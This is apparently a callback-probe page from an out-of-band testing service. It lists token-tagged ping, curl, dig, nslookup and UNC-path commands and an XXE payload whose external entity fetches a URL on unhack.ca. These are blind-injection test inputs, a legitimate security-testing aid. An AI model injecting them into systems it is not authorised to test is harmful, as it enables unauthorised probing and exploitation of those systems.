$ ping -c1 -p 007eff0fe772a1cab1d7a88d4468b100 unhack.ca
 

$ curl http://unhack.ca/p/7eff0fe772a1cab1d7a88d4468b1
 

$ dig 7eff0fe772a1cab1d7a88d4468b1 @unhack.ca
 

$ dig 7eff0fe772a1cab1d7a88d4468b1.ns.unhack.ca
 

C:\> nslookup 7eff0fe772a1cab1d7a88d4468b1 unhack.ca
 

C:\> type \\unhack.ca\7eff0fe772a1cab1d7a88d4468b1\f.txt
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/7eff0fe772a1cab1d7a88d4468b1">]>
    <foo>&xxe;</foo>